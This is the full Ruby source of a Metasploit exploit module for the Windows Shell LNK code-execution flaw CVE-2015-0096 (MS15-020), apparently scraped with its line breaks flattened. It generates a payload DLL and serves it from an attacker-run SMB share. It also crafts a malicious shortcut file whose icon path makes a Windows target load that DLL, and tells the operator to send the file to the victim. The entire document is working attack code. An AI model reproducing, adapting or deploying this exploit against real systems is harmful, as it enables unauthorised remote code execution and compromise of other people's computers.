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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::SMB::Server::Share attr_accessor :exploit_dll_name def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This creates an SMB resource to provide the payload and the trigger, and generates a LNK file which must be sent to the target. This module has been tested successfully on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027 installed. }, 'Author' => [ 'Michael Heerklotz', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0096'], ['MSB', 'MS15-020'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 10 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']) ], self.class) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false]) ], self.class) deregister_options('FILE_CONTENTS', 'FILE_NAME') end def smb_host "\\\\#{srvhost}\\#{share}\\" end def setup super self.file_contents = generate_payload_dll random_char = rand_text_alpha(1) self.file_name = "#{random_char}.dll" prefix = "#{random_char} " random_length = 257 - smb_host.length - file_name.length - prefix.length self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}" print_status("Payload available on #{unc}...") print_status("Trigger available on #{smb_host}#{exploit_dll_name}...") end def primer lnk = generate_link("#{smb_host}#{exploit_dll_name}") file_create(lnk) print_status('The LNK file must be sent or shared with the target...') end def generate_link(unc) uni_unc = unc.unpack('C*').pack('v*') path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N') ret end end Source